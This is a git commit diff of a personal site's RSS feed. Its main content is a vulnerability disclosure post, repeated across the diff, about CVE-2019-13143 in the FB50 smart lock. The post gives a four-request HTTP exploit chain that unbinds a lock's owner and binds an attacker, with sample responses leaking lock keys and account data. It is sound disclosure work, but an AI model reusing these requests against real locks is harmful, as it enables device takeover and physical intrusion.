all repos — site @ d0af42936f5ac055deafaa80703bfbbce060c09c

source for my site, found at icyphox.sh

Reorder feed

Signed-off-by: Anirudh <icyph0x@pm.me>
Anirudh icyph0x@pm.me
Tue, 06 Aug 2019 19:39:07 +0530
commit

d0af42936f5ac055deafaa80703bfbbce060c09c

parent

979c690efb23876304962535456b60f1477946f9

2 files changed, 433 insertions(+), 426 deletions(-)

jump to
M build/blog/feed.xmlbuild/blog/feed.xml

@@ -11,7 +11,221 @@ </image>

<language>en-us</language> <copyright>Creative Commons BY-NC-SA 4.0</copyright> <item> + <title>Picking the FB50 smart lock (CVE-2019-13143)</title> + <link>https://icyphox.sh/blog/fb50/</link> + <description>&lt;h1 id=&quot;picking-the-fb50-smart-lock-cve-2019-13143&quot;&gt;Picking the FB50 smart lock (CVE-2019-13143)&lt;/h1&gt; + +&lt;h2 id=&quot;and-lessons-learnt-in-iot-security&quot;&gt;… and lessons learnt in IoT security&lt;/h2&gt; + +&lt;p&gt;(&lt;em&gt;originally posted at &lt;a href=&quot;http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure&quot;&gt;SecureLayer7&amp;#8217;s Blog&lt;/a&gt;, with my edits&lt;/em&gt;)&lt;/p&gt; + +&lt;h3 id=&quot;the-lock&quot;&gt;The lock&lt;/h3&gt; + +&lt;p&gt;The lock in question is the FB50 smart lock, manufactured by Shenzhen +Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands +across many ecommerce sites, and has over, an estimated, 15k+ users.&lt;/p&gt; + +&lt;p&gt;The lock pairs to a phone via Bluetooth, and requires the OKLOK app from +the Play/App Store to function. The app requires the user to create an +account before further functionality is available. +It also facilitates configuring the fingerprint, +and unlocking from a range via Bluetooth.&lt;/p&gt; + +&lt;p&gt;We had two primary attack surfaces we decided to tackle — Bluetooth (BLE) +and the Android app.&lt;/p&gt; + +&lt;h3 id=&quot;via-bluetooth-low-energy-ble&quot;&gt;Via Bluetooth Low Energy (BLE)&lt;/h3&gt; + +&lt;p&gt;Android phones have the ability to capture Bluetooth (HCI) traffic +which can be enabled under Developer Options under Settings. We made +around 4 &amp;#8220;unlocks&amp;#8221; from the Android phone, as seen in the screenshot.&lt;/p&gt; + +&lt;p&gt;&lt;img src=&quot;/static/img/bt_wireshark.png&quot; alt=&quot;wireshark packets&quot; /&gt;&lt;/p&gt; + +&lt;p&gt;This is the value sent in the &lt;code&gt;Write&lt;/code&gt; request:&lt;/p&gt; + +&lt;p&gt;&lt;img src=&quot;/static/img/bt_ws_value.png&quot; alt=&quot;wireshark write req&quot; /&gt;&lt;/p&gt; + +&lt;p&gt;We attempted replaying these requests using &lt;code&gt;gattool&lt;/code&gt; and &lt;code&gt;gattacker&lt;/code&gt;, +but that didn&amp;#8217;t pan out, since the value being written was encrypted.&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-1&quot;&gt;&lt;a href=&quot;#fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt; + +&lt;h3 id=&quot;via-the-android-app&quot;&gt;Via the Android app&lt;/h3&gt; + +&lt;p&gt;Reversing the app using &lt;code&gt;jd-gui&lt;/code&gt;, &lt;code&gt;apktool&lt;/code&gt; and &lt;code&gt;dex2jar&lt;/code&gt; didn&amp;#8217;t get us too +far since most of it was obfuscated. Why bother when there exists an +easier approach &amp;#8211; BurpSuite.&lt;/p&gt; + +&lt;p&gt;We captured and played around with a bunch of requests and responses, +and finally arrived at a working exploit chain.&lt;/p&gt; + +&lt;h3 id=&quot;the-exploit&quot;&gt;The exploit&lt;/h3&gt; + +&lt;p&gt;The entire exploit is a 4 step process consisting of authenticated +HTTP requests:&lt;/p&gt; + +&lt;ol&gt; +&lt;li&gt;Using the lock&amp;#8217;s MAC (obtained via a simple Bluetooth scan in the +vicinity), get the barcode and lock ID&lt;/li&gt; +&lt;li&gt;Using the barcode, fetch the user ID&lt;/li&gt; +&lt;li&gt;Using the lock ID and user ID, unbind the user from the lock&lt;/li&gt; +&lt;li&gt;Provide a new name, attacker&amp;#8217;s user ID and the MAC to bind the attacker +to the lock&lt;/li&gt; +&lt;/ol&gt; + +&lt;p&gt;This is what it looks like, in essence (personal info redacted).&lt;/p&gt; + +&lt;h4 id=&quot;request-1&quot;&gt;Request 1&lt;/h4&gt; + +&lt;pre&gt;&lt;code&gt;POST /oklock/lock/queryDevice +{&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;} +&lt;/code&gt;&lt;/pre&gt; + +&lt;p&gt;Response:&lt;/p&gt; + +&lt;pre&gt;&lt;code&gt;{ + &quot;result&quot;:{ + &quot;alarm&quot;:0, + &quot;barcode&quot;:&quot;&amp;lt;BARCODE&amp;gt;&quot;, + &quot;chipType&quot;:&quot;1&quot;, + &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;, + &quot;deviceId&quot;:&quot;&quot;, + &quot;electricity&quot;:&quot;95&quot;, + &quot;firmwareVersion&quot;:&quot;2.3&quot;, + &quot;gsmVersion&quot;:&quot;&quot;, + &quot;id&quot;:&amp;lt;LOCK ID&amp;gt;, + &quot;isLock&quot;:0, + &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;, + &quot;lockPwd&quot;:&quot;000000&quot;, + &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;, + &quot;name&quot;:&quot;lock&quot;, + &quot;radioName&quot;:&quot;BlueFPL&quot;, + &quot;type&quot;:0 + }, + &quot;status&quot;:&quot;2000&quot; +} +&lt;/code&gt;&lt;/pre&gt; + +&lt;h4 id=&quot;request-2&quot;&gt;Request 2&lt;/h4&gt; + +&lt;pre&gt;&lt;code&gt;POST /oklock/lock/getDeviceInfo + +{&quot;barcode&quot;:&quot;https://app.oklok.com.cn/app.html?id=&amp;lt;BARCODE&amp;gt;&quot;} +&lt;/code&gt;&lt;/pre&gt; + +&lt;p&gt;Response:&lt;/p&gt; + +&lt;pre&gt;&lt;code&gt; &quot;result&quot;:{ + &quot;account&quot;:&quot;email@some.website&quot;, + &quot;alarm&quot;:0, + &quot;barcode&quot;:&quot;&amp;lt;BARCODE&amp;gt;&quot;, + &quot;chipType&quot;:&quot;1&quot;, + &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;, + &quot;deviceId&quot;:&quot;&quot;, + &quot;electricity&quot;:&quot;95&quot;, + &quot;firmwareVersion&quot;:&quot;2.3&quot;, + &quot;gsmVersion&quot;:&quot;&quot;, + &quot;id&quot;:&amp;lt;LOCK ID&amp;gt;, + &quot;isLock&quot;:0, + &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;, + &quot;lockPwd&quot;:&quot;000000&quot;, + &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;, + &quot;name&quot;:&quot;lock&quot;, + &quot;radioName&quot;:&quot;BlueFPL&quot;, + &quot;type&quot;:0, + &quot;userId&quot;:&amp;lt;USER ID&amp;gt; + } +&lt;/code&gt;&lt;/pre&gt; + +&lt;h4 id=&quot;request-3&quot;&gt;Request 3&lt;/h4&gt; + +&lt;pre&gt;&lt;code&gt;POST /oklock/lock/unbind + +{&quot;lockId&quot;:&quot;&amp;lt;LOCK ID&amp;gt;&quot;,&quot;userId&quot;:&amp;lt;USER ID&amp;gt;} +&lt;/code&gt;&lt;/pre&gt; + +&lt;h4 id=&quot;request-4&quot;&gt;Request 4&lt;/h4&gt; + +&lt;pre&gt;&lt;code&gt;POST /oklock/lock/bind + +{&quot;name&quot;:&quot;newname&quot;,&quot;userId&quot;:&amp;lt;USER ID&amp;gt;,&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;} +&lt;/code&gt;&lt;/pre&gt; + +&lt;h3 id=&quot;thats-it-the-scary-stuff&quot;&gt;That&amp;#8217;s it! (&amp;amp; the scary stuff)&lt;/h3&gt; + +&lt;p&gt;You should have the lock transferred to your account. The severity of this +issue lies in the fact that the original owner completely loses access to +their lock. They can&amp;#8217;t even &amp;#8220;rebind&amp;#8221; to get it back, since the current owner +(the attacker) needs to authorize that. &lt;/p&gt; + +&lt;p&gt;To add to that, roughly 15,000 user accounts&amp;#8217; info are exposed via IDOR. +Ilja, a cool dude I met on Telegram, noticed locks named &amp;#8220;carlock&amp;#8221;, +&amp;#8220;garage&amp;#8221;, &amp;#8220;MainDoor&amp;#8221;, etc.&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-2&quot;&gt;&lt;a href=&quot;#fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; This is terrifying.&lt;/p&gt; + +&lt;p&gt;&lt;em&gt;shudders&lt;/em&gt;&lt;/p&gt; + +&lt;h3 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h3&gt; + +&lt;p&gt;&lt;a href=&quot;https://twitter.com/icyphox/status/1158396372778807296&quot;&gt;PoC Video&lt;/a&gt;&lt;/p&gt; + +&lt;p&gt;&lt;a href=&quot;https://github.com/icyphox/pwnfb50&quot;&gt;Exploit code&lt;/a&gt;&lt;/p&gt; + +&lt;h3 id=&quot;disclosure-timeline&quot;&gt;Disclosure timeline&lt;/h3&gt; + +&lt;ul&gt; +&lt;li&gt;&lt;strong&gt;26th June, 2019&lt;/strong&gt;: Issue discovered at SecureLayer7, Pune&lt;/li&gt; +&lt;li&gt;&lt;strong&gt;27th June, 2019&lt;/strong&gt;: Vendor notified about the issue&lt;/li&gt; +&lt;li&gt;&lt;strong&gt;2nd July, 2019&lt;/strong&gt;: CVE-2019-13143 reserved&lt;/li&gt; +&lt;li&gt;No response from vendor&lt;/li&gt; +&lt;li&gt;&lt;strong&gt;2nd August 2019&lt;/strong&gt;: Public disclosure&lt;/li&gt; +&lt;/ul&gt; + +&lt;h3 id=&quot;lessons-learnt&quot;&gt;Lessons learnt&lt;/h3&gt; + +&lt;p&gt;&lt;strong&gt;DO NOT&lt;/strong&gt;. Ever. Buy. A smart lock. You&amp;#8217;re better off with the &amp;#8220;dumb&amp;#8221; ones +with keys. With the IoT plague spreading, it brings in a large attack surface +to things that were otherwise &amp;#8220;unhackable&amp;#8221; (try hacking a &amp;#8220;dumb&amp;#8221; toaster).&lt;/p&gt; + +&lt;p&gt;The IoT security scene is rife with bugs from over 10 years ago, like +executable stack segments&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-3&quot;&gt;&lt;a href=&quot;#fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;, hardcoded keys, and poor development +practices in general.&lt;/p&gt; + +&lt;p&gt;Our existing threat models and scenarios have to be updated to factor +in these new exploitation possibilities. This also broadens the playing +field for cyber warfare and mass surveillance campaigns. &lt;/p&gt; + +&lt;h3 id=&quot;researcher-info&quot;&gt;Researcher info&lt;/h3&gt; + +&lt;p&gt;This research was done at &lt;a href=&quot;https://securelayer7.net&quot;&gt;SecureLayer7&lt;/a&gt;, Pune, IN by:&lt;/p&gt; + +&lt;ul&gt; +&lt;li&gt;Anirudh Oppiliappan (me)&lt;/li&gt; +&lt;li&gt;S. Raghav Pillai (&lt;a href=&quot;https://twitter.com/_vologue&quot;&gt;@_vologue&lt;/a&gt;)&lt;/li&gt; +&lt;li&gt;Shubham Chougule (&lt;a href=&quot;https://twitter.com/shubhamtc&quot;&gt;@shubhamtc&lt;/a&gt;)&lt;/li&gt; +&lt;/ul&gt; + +&lt;div class=&quot;footnotes&quot;&gt; +&lt;hr /&gt; +&lt;ol&gt; +&lt;li id=&quot;fn-1&quot;&gt; +&lt;p&gt;&lt;a href=&quot;https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/&quot;&gt;This&lt;/a&gt; article discusses a similar smart lock, but they broke the encryption.&amp;#160;&lt;a href=&quot;#fnref-1&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 1 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt; +&lt;/li&gt; + +&lt;li id=&quot;fn-2&quot;&gt; +&lt;p&gt;Thanks to Ilja Shaposhnikov (@drakylar).&amp;#160;&lt;a href=&quot;#fnref-2&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 2 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt; +&lt;/li&gt; + +&lt;li id=&quot;fn-3&quot;&gt; +&lt;p&gt;&lt;a href=&quot;https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf&quot;&gt;PDF&lt;/a&gt;&amp;#160;&lt;a href=&quot;#fnref-3&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 3 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt; +&lt;/li&gt; +&lt;/ol&gt; +&lt;/div&gt; +</description> + <pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate> + <guid>https://icyphox.sh/blog/fb50/</guid> +</item> +<item> <title>Python for Reverse Engineering #1: ELF Binaries</title> + <link>https://icyphox.sh/blog/python-for-re-1</link> <description>&lt;h1 id=&quot;python-for-reverse-engineering-1-elf-binaries&quot;&gt;Python for Reverse Engineering 1: ELF Binaries&lt;/h1&gt; &lt;h2 id=&quot;building-your-own-disassembly-tooling-for-thats-right-fun-and-profit&quot;&gt;Building your own disassembly tooling for — that’s right — fun and profit&lt;/h2&gt;

@@ -299,10 +513,11 @@

&lt;p&gt;Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.&lt;/p&gt; </description> <pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate> - <guid isPermaLink="false">https://icyphox.sh/blog/python-for-re-1/</guid> + <guid>https://icyphox.sh/blog/python-for-re-1/</guid> </item> <item> <title>My Setup</title> + <link>https://icyphox.sh/blog/my-setup</link> <description>&lt;h1 id=&quot;my-setup&quot;&gt;My Setup&lt;/h1&gt; &lt;h2 id=&quot;my-daily-drivers-hardware-and-software&quot;&gt;My daily drivers — hardware and software&lt;/h2&gt;

@@ -350,11 +565,13 @@

&lt;p&gt;I plan on converting my desktop back at home into a homeserver setup. Soon™.&lt;/p&gt; </description> <pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate> - <guid isPermaLink="false">https://icyphox.sh/blog/my-setup/</guid> + <guid>https://icyphox.sh/blog/my-setup/</guid> </item> <item> <title>Return Oriented Programming on ARM (32-bit)</title> + <link>https://icyphox.sh/blog/rop-on-arm/</link> <description>&lt;h1 id=&quot;return-oriented-programming-on-arm-32-bit&quot;&gt;Return Oriented Programming on ARM (32-bit)&lt;/h1&gt; + &lt;h2 id=&quot;making-stack-based-exploitation-great-again&quot;&gt;Making stack-based exploitation great again!&lt;/h2&gt;

@@ -573,219 +790,8 @@

&lt;p&gt;Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.&lt;/p&gt; </description> <pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate> - <guid isPermaLink="false">https://icyphox.sh/blog/rop-on-arm/</guid> + <guid>https://icyphox.sh/blog/rop-on-arm/</guid> </item> -<item> - <title>Picking the FB50 smart lock (CVE-2019-13143)</title> - <description>&lt;h1 id=&quot;picking-the-fb50-smart-lock-cve-2019-13143&quot;&gt;Picking the FB50 smart lock (CVE-2019-13143)&lt;/h1&gt; - -&lt;h2 id=&quot;and-lessons-learnt-in-iot-security&quot;&gt;… and lessons learnt in IoT security&lt;/h2&gt; - -&lt;p&gt;(&lt;em&gt;originally posted at &lt;a href=&quot;http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure&quot;&gt;SecureLayer7&amp;#8217;s Blog&lt;/a&gt;, with my edits&lt;/em&gt;)&lt;/p&gt; - -&lt;h3 id=&quot;the-lock&quot;&gt;The lock&lt;/h3&gt; - -&lt;p&gt;The lock in question is the FB50 smart lock, manufactured by Shenzhen -Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands -across many ecommerce sites, and has over, an estimated, 15k+ users.&lt;/p&gt; - -&lt;p&gt;The lock pairs to a phone via Bluetooth, and requires the OKLOK app from -the Play/App Store to function. The app requires the user to create an -account before further functionality is available. -It also facilitates configuring the fingerprint, -and unlocking from a range via Bluetooth.&lt;/p&gt; - -&lt;p&gt;We had two primary attack surfaces we decided to tackle — Bluetooth (BLE) -and the Android app.&lt;/p&gt; - -&lt;h3 id=&quot;via-bluetooth-low-energy-ble&quot;&gt;Via Bluetooth Low Energy (BLE)&lt;/h3&gt; - -&lt;p&gt;Android phones have the ability to capture Bluetooth (HCI) traffic -which can be enabled under Developer Options under Settings. We made -around 4 &amp;#8220;unlocks&amp;#8221; from the Android phone, as seen in the screenshot.&lt;/p&gt; - -&lt;p&gt;&lt;img src=&quot;/static/img/bt_wireshark.png&quot; alt=&quot;wireshark packets&quot; /&gt;&lt;/p&gt; - -&lt;p&gt;This is the value sent in the &lt;code&gt;Write&lt;/code&gt; request:&lt;/p&gt; - -&lt;p&gt;&lt;img src=&quot;/static/img/bt_ws_value.png&quot; alt=&quot;wireshark write req&quot; /&gt;&lt;/p&gt; - -&lt;p&gt;We attempted replaying these requests using &lt;code&gt;gattool&lt;/code&gt; and &lt;code&gt;gattacker&lt;/code&gt;, -but that didn&amp;#8217;t pan out, since the value being written was encrypted.&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-1&quot;&gt;&lt;a href=&quot;#fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt; - -&lt;h3 id=&quot;via-the-android-app&quot;&gt;Via the Android app&lt;/h3&gt; - -&lt;p&gt;Reversing the app using &lt;code&gt;jd-gui&lt;/code&gt;, &lt;code&gt;apktool&lt;/code&gt; and &lt;code&gt;dex2jar&lt;/code&gt; didn&amp;#8217;t get us too -far since most of it was obfuscated. Why bother when there exists an -easier approach &amp;#8211; BurpSuite.&lt;/p&gt; - -&lt;p&gt;We captured and played around with a bunch of requests and responses, -and finally arrived at a working exploit chain.&lt;/p&gt; - -&lt;h3 id=&quot;the-exploit&quot;&gt;The exploit&lt;/h3&gt; - -&lt;p&gt;The entire exploit is a 4 step process consisting of authenticated -HTTP requests:&lt;/p&gt; -&lt;ol&gt; -&lt;li&gt;Using the lock&amp;#8217;s MAC (obtained via a simple Bluetooth scan in the -vicinity), get the barcode and lock ID&lt;/li&gt; -&lt;li&gt;Using the barcode, fetch the user ID&lt;/li&gt; -&lt;li&gt;Using the lock ID and user ID, unbind the user from the lock&lt;/li&gt; -&lt;li&gt;Provide a new name, attacker&amp;#8217;s user ID and the MAC to bind the attacker -to the lock&lt;/li&gt; -&lt;/ol&gt; - -&lt;p&gt;This is what it looks like, in essence (personal info redacted).&lt;/p&gt; - -&lt;h4 id=&quot;request-1&quot;&gt;Request 1&lt;/h4&gt; - -&lt;pre&gt;&lt;code&gt;POST /oklock/lock/queryDevice -{&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;} -&lt;/code&gt;&lt;/pre&gt; - -&lt;p&gt;Response:&lt;/p&gt; - -&lt;pre&gt;&lt;code&gt;{ - &quot;result&quot;:{ - &quot;alarm&quot;:0, - &quot;barcode&quot;:&quot;&amp;lt;BARCODE&amp;gt;&quot;, - &quot;chipType&quot;:&quot;1&quot;, - &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;, - &quot;deviceId&quot;:&quot;&quot;, - &quot;electricity&quot;:&quot;95&quot;, - &quot;firmwareVersion&quot;:&quot;2.3&quot;, - &quot;gsmVersion&quot;:&quot;&quot;, - &quot;id&quot;:&amp;lt;LOCK ID&amp;gt;, - &quot;isLock&quot;:0, - &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;, - &quot;lockPwd&quot;:&quot;000000&quot;, - &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;, - &quot;name&quot;:&quot;lock&quot;, - &quot;radioName&quot;:&quot;BlueFPL&quot;, - &quot;type&quot;:0 - }, - &quot;status&quot;:&quot;2000&quot; -} -&lt;/code&gt;&lt;/pre&gt; - -&lt;h4 id=&quot;request-2&quot;&gt;Request 2&lt;/h4&gt; - -&lt;pre&gt;&lt;code&gt;POST /oklock/lock/getDeviceInfo - -{&quot;barcode&quot;:&quot;https://app.oklok.com.cn/app.html?id=&amp;lt;BARCODE&amp;gt;&quot;} -&lt;/code&gt;&lt;/pre&gt; - -&lt;p&gt;Response:&lt;/p&gt; - -&lt;pre&gt;&lt;code&gt; &quot;result&quot;:{ - &quot;account&quot;:&quot;email@some.website&quot;, - &quot;alarm&quot;:0, - &quot;barcode&quot;:&quot;&amp;lt;BARCODE&amp;gt;&quot;, - &quot;chipType&quot;:&quot;1&quot;, - &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;, - &quot;deviceId&quot;:&quot;&quot;, - &quot;electricity&quot;:&quot;95&quot;, - &quot;firmwareVersion&quot;:&quot;2.3&quot;, - &quot;gsmVersion&quot;:&quot;&quot;, - &quot;id&quot;:&amp;lt;LOCK ID&amp;gt;, - &quot;isLock&quot;:0, - &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;, - &quot;lockPwd&quot;:&quot;000000&quot;, - &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;, - &quot;name&quot;:&quot;lock&quot;, - &quot;radioName&quot;:&quot;BlueFPL&quot;, - &quot;type&quot;:0, - &quot;userId&quot;:&amp;lt;USER ID&amp;gt; - } -&lt;/code&gt;&lt;/pre&gt; - -&lt;h4 id=&quot;request-3&quot;&gt;Request 3&lt;/h4&gt; - -&lt;pre&gt;&lt;code&gt;POST /oklock/lock/unbind - -{&quot;lockId&quot;:&quot;&amp;lt;LOCK ID&amp;gt;&quot;,&quot;userId&quot;:&amp;lt;USER ID&amp;gt;} -&lt;/code&gt;&lt;/pre&gt; - -&lt;h4 id=&quot;request-4&quot;&gt;Request 4&lt;/h4&gt; - -&lt;pre&gt;&lt;code&gt;POST /oklock/lock/bind - -{&quot;name&quot;:&quot;newname&quot;,&quot;userId&quot;:&amp;lt;USER ID&amp;gt;,&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;} -&lt;/code&gt;&lt;/pre&gt; - -&lt;h3 id=&quot;thats-it-the-scary-stuff&quot;&gt;That&amp;#8217;s it! (&amp;amp; the scary stuff)&lt;/h3&gt; - -&lt;p&gt;You should have the lock transferred to your account. The severity of this -issue lies in the fact that the original owner completely loses access to -their lock. They can&amp;#8217;t even &amp;#8220;rebind&amp;#8221; to get it back, since the current owner -(the attacker) needs to authorize that. &lt;/p&gt; - -&lt;p&gt;To add to that, roughly 15,000 user accounts&amp;#8217; info are exposed via IDOR. -Ilja, a cool dude I met on Telegram, noticed locks named &amp;#8220;carlock&amp;#8221;, -&amp;#8220;garage&amp;#8221;, &amp;#8220;MainDoor&amp;#8221;, etc.&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-2&quot;&gt;&lt;a href=&quot;#fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; This is terrifying.&lt;/p&gt; - -&lt;p&gt;&lt;em&gt;shudders&lt;/em&gt;&lt;/p&gt; - -&lt;h3 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h3&gt; - -&lt;p&gt;&lt;a href=&quot;https://twitter.com/icyphox/status/1158396372778807296&quot;&gt;PoC Video&lt;/a&gt;&lt;/p&gt; - -&lt;p&gt;&lt;a href=&quot;https://github.com/icyphox/pwnfb50&quot;&gt;Exploit code&lt;/a&gt;&lt;/p&gt; - -&lt;h3 id=&quot;disclosure-timeline&quot;&gt;Disclosure timeline&lt;/h3&gt; - -&lt;ul&gt; -&lt;li&gt;&lt;strong&gt;26th June, 2019&lt;/strong&gt;: Issue discovered at SecureLayer7, Pune&lt;/li&gt; -&lt;li&gt;&lt;strong&gt;27th June, 2019&lt;/strong&gt;: Vendor notified about the issue&lt;/li&gt; -&lt;li&gt;&lt;strong&gt;2nd July, 2019&lt;/strong&gt;: CVE-2019-13143 reserved&lt;/li&gt; -&lt;li&gt;No response from vendor&lt;/li&gt; -&lt;li&gt;&lt;strong&gt;2nd August 2019&lt;/strong&gt;: Public disclosure&lt;/li&gt; -&lt;/ul&gt; - -&lt;h3 id=&quot;lessons-learnt&quot;&gt;Lessons learnt&lt;/h3&gt; - -&lt;p&gt;&lt;strong&gt;DO NOT&lt;/strong&gt;. Ever. Buy. A smart lock. You&amp;#8217;re better off with the &amp;#8220;dumb&amp;#8221; ones -with keys. With the IoT plague spreading, it brings in a large attack surface -to things that were otherwise &amp;#8220;unhackable&amp;#8221; (try hacking a &amp;#8220;dumb&amp;#8221; toaster).&lt;/p&gt; - -&lt;p&gt;The IoT security scene is rife with bugs from over 10 years ago, like -executable stack segments&lt;sup class=&quot;footnote-ref&quot; id=&quot;fnref-3&quot;&gt;&lt;a href=&quot;#fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;, hardcoded keys, and poor development -practices in general.&lt;/p&gt; - -&lt;p&gt;Our existing threat models and scenarios have to be updated to factor -in these new exploitation possibilities. This also broadens the playing -field for cyber warfare and mass surveillance campaigns. &lt;/p&gt; - -&lt;h3 id=&quot;researcher-info&quot;&gt;Researcher info&lt;/h3&gt; - -&lt;p&gt;This research was done at &lt;a href=&quot;https://securelayer7.net&quot;&gt;SecureLayer7&lt;/a&gt;, Pune, IN by:&lt;/p&gt; - -&lt;ul&gt; -&lt;li&gt;Anirudh Oppiliappan (me)&lt;/li&gt; -&lt;li&gt;S. Raghav Pillai (&lt;a href=&quot;https://twitter.com/_vologue&quot;&gt;@_vologue&lt;/a&gt;)&lt;/li&gt; -&lt;li&gt;Shubham Chougule (&lt;a href=&quot;https://twitter.com/shubhamtc&quot;&gt;@shubhamtc&lt;/a&gt;)&lt;/li&gt; -&lt;/ul&gt; - -&lt;div class=&quot;footnotes&quot;&gt; -&lt;hr /&gt; -&lt;ol&gt; -&lt;li id=&quot;fn-1&quot;&gt; -&lt;p&gt;&lt;a href=&quot;https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/&quot;&gt;This&lt;/a&gt; article discusses a similar smart lock, but they broke the encryption.&amp;#160;&lt;a href=&quot;#fnref-1&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 1 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt; -&lt;/li&gt; - -&lt;li id=&quot;fn-2&quot;&gt; -&lt;p&gt;Thanks to Ilja Shaposhnikov (@drakylar).&amp;#160;&lt;a href=&quot;#fnref-2&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 2 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt; -&lt;/li&gt; - -&lt;li id=&quot;fn-3&quot;&gt; -&lt;p&gt;&lt;a href=&quot;https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf&quot;&gt;PDF&lt;/a&gt;&amp;#160;&lt;a href=&quot;#fnref-3&quot; class=&quot;footnoteBackLink&quot; title=&quot;Jump back to footnote 3 in the text.&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt; -&lt;/li&gt; -&lt;/ol&gt; -&lt;/div&gt; -</description> - <pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate> - <guid isPermaLink="false">https://icyphox.sh/blog/fb50/</guid> -</item> </channel> </rss>
M pages/blog/feed.xmlpages/blog/feed.xml

@@ -11,6 +11,219 @@ </image>

<language>en-us</language> <copyright>Creative Commons BY-NC-SA 4.0</copyright> <item> + <title>Picking the FB50 smart lock (CVE-2019-13143)</title> + <link>https://icyphox.sh/blog/fb50/</link> + <description>&lt;h1 id=&quot;picking-the-fb50-smart-lock-cve-2019-13143&quot;&gt;Picking the FB50 smart lock (CVE-2019-13143)&lt;/h1&gt; + +&lt;h2 id=&quot;and-lessons-learnt-in-iot-security&quot;&gt;… and lessons learnt in IoT security&lt;/h2&gt; + +&lt;p&gt;(&lt;em&gt;originally posted at &lt;a href=&quot;http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure&quot;&gt;SecureLayer7&amp;#8217;s Blog&lt;/a&gt;, with my edits&lt;/em&gt;)&lt;/p&gt; + +&lt;h3 id=&quot;the-lock&quot;&gt;The lock&lt;/h3&gt; + +&lt;p&gt;The lock in question is the FB50 smart lock, manufactured by Shenzhen +Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands +across many ecommerce sites, and has over, an estimated, 15k+ users.&lt;/p&gt; + +&lt;p&gt;The lock pairs to a phone via Bluetooth, and requires the OKLOK app from +the Play/App Store to function. The app requires the user to create an +account before further functionality is available. +It also facilitates configuring the fingerprint, +and unlocking from a range via Bluetooth.&lt;/p&gt; + +&lt;p&gt;We had two primary attack surfaces we decided to tackle — Bluetooth (BLE) +and the Android app.&lt;/p&gt; + +&lt;h3 id=&quot;via-bluetooth-low-energy-ble&quot;&gt;Via Bluetooth Low Energy (BLE)&lt;/h3&gt; + +&lt;p&gt;Android phones have the ability to capture Bluetooth (HCI) traffic +which can be enabled under Developer Options under Settings. We made +around 4 &amp;#8220;unlocks&amp;#8221; from the Android phone, as seen in the screenshot.&lt;/p&gt; + +&lt;p&gt;&lt;img src=&quot;/static/img/bt_wireshark.png&quot; alt=&quot;wireshark packets&quot; /&gt;&lt;/p&gt; + +&lt;p&gt;This is the value sent in the &lt;code&gt;Write&lt;/code&gt; request:&lt;/p&gt; + +&lt;p&gt;&lt;img src=&quot;/static/img/bt_ws_value.png&quot; alt=&quot;wireshark write req&quot; /&gt;&lt;/p&gt; + +&lt;p&gt;We attempted replaying these requests using 